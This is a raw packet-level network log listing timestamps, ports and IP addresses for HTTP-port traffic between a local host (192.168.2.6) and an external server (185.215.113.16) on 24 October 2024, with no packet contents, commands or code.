Oct 24, 2024 04:58:10.427670956 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.428683996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.428697109 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.428706884 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.428740978 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.428776026 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.428860903 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.428873062 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.428884029 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.428914070 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.428946018 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.447087049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.447099924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.447148085 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.447242022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.447254896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.447264910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.447278023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.447305918 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.447340965 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.447560072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.447571039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.447581053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.447621107 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.483138084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.483150005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.483160019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.483172894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.483203888 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.483261108 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.502753973 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.502767086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.502777100 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.502819061 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.502861023 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.502866983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.502878904 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.502891064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.502902031 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.502922058 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.502968073 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.503333092 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.503356934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.503395081 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.503424883 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.503488064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.503524065 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.503535986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.503540993 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.503587008 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.503869057 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.503880024 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.503890038 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.503925085 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.503953934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.523547888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.523560047 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.523597002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.523603916 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.523616076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.523689032 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.543673992 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.543694019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.543704987 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.543868065 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.543869019 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.544732094 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.544750929 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.544784069 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.544797897 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.544841051 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.544931889 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.544945002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.544955015 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.544986963 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.545023918 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.565398932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.565479040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.565494061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.565510035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.565525055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.565531015 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.565552950 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.565613985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.565637112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.565649986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.565660000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.565660954 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.565673113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.565686941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.565721989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.603379011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.603390932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.603401899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.603535891 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.620686054 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.620698929 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.620709896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.620722055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.620887041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.620887041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.621001959 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.621015072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.621023893 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.621036053 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.621062040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.621095896 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.621371031 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.621382952 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.621392965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.621403933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.621414900 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.621428967 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.621467113 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.621467113 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.642787933 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.643996954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.644015074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.644027948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.644056082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.662672043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.662688971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.662699938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.662738085 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.662781954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.662781954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.664098024 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.664110899 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.664120913 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.664159060 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.664191008 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.664248943 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.664258957 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.664307117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.664335966 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.664422035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.664434910 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.664444923 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.664479971 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.664508104 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.685352087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.685415983 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.685472965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.685489893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.685506105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.685519934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.685535908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.685549974 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.685586929 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.685663939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.685677052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.685719967 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.685792923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.685806990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.685821056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.685837984 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.685856104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.721997976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.722018003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.722033024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.722069025 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.737457037 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.737474918 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.737487078 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.737543106 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.737560987 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.737574100 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.737586975 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.737600088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.737611055 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.737611055 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.737668037 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.737668037 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.738145113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.738154888 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.738166094 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.738178015 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.738190889 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.738219976 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.738231897 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.738256931 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.738298893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.738298893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.739409924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.739444017 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.739481926 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.739535093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.762547970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.762567043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.762578964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.762598991 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.762636900 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.778578043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.778598070 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.778614044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.778656006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.778697968 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.779335022 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.779350996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.779367924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.779381990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.779397011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.779400110 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.779416084 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.779443026 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.779479027 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.804270983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.804289103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.804297924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.804327965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.804333925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.804346085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.804364920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.804404020 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.804461002 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.805077076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.805090904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.805103064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.805114985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.805126905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.805151939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.820187092 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.820207119 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.820255041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.820291042 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.841362953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.841387033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.841398001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.841407061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.841417074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.841509104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.841608047 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.854742050 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.854765892 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.854794025 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.854806900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.854845047 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.854876041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.854892015 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.854907990 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.854929924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.854942083 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.854959965 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.854979038 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.855098963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.855113983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.855155945 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.855185986 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.855279922 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.855293989 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.855360985 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.855361938 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.855489016 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.855505943 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.855520010 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.855541945 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.855577946 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.855578899 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.855793953 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.855808020 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.855823040 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.855844975 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.855880976 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.855880976 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.881483078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.881504059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.881529093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.881552935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.881575108 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.881596088 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.895406961 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.895430088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.895442963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.895484924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.895519018 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.896313906 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.896327019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.896358967 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.896445036 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.896445036 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.896508932 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.896559954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.896568060 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.896580935 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.896593094 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.896622896 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.896656990 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.923768044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.923788071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.923804998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.923820019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.923837900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.923854113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.923856020 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.923870087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.923886061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.923892021 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.923901081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.923926115 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.923943996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.937181950 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.937196970 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.937252045 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.937262058 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.937391996 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.937392950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.960710049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.960732937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.960748911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.960762978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.960778952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.960793972 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.960813999 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.960851908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.971985102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.972001076 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.972012997 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.972027063 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.972055912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.972101927 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.972132921 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.972146034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.972157001 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.972188950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.972232103 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.972388983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.972405910 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.972417116 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.972475052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:10.972721100 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.972733021 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.972744942 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:10.972778082 CEST	49996	80	192.168.2.6	185.215.113.16
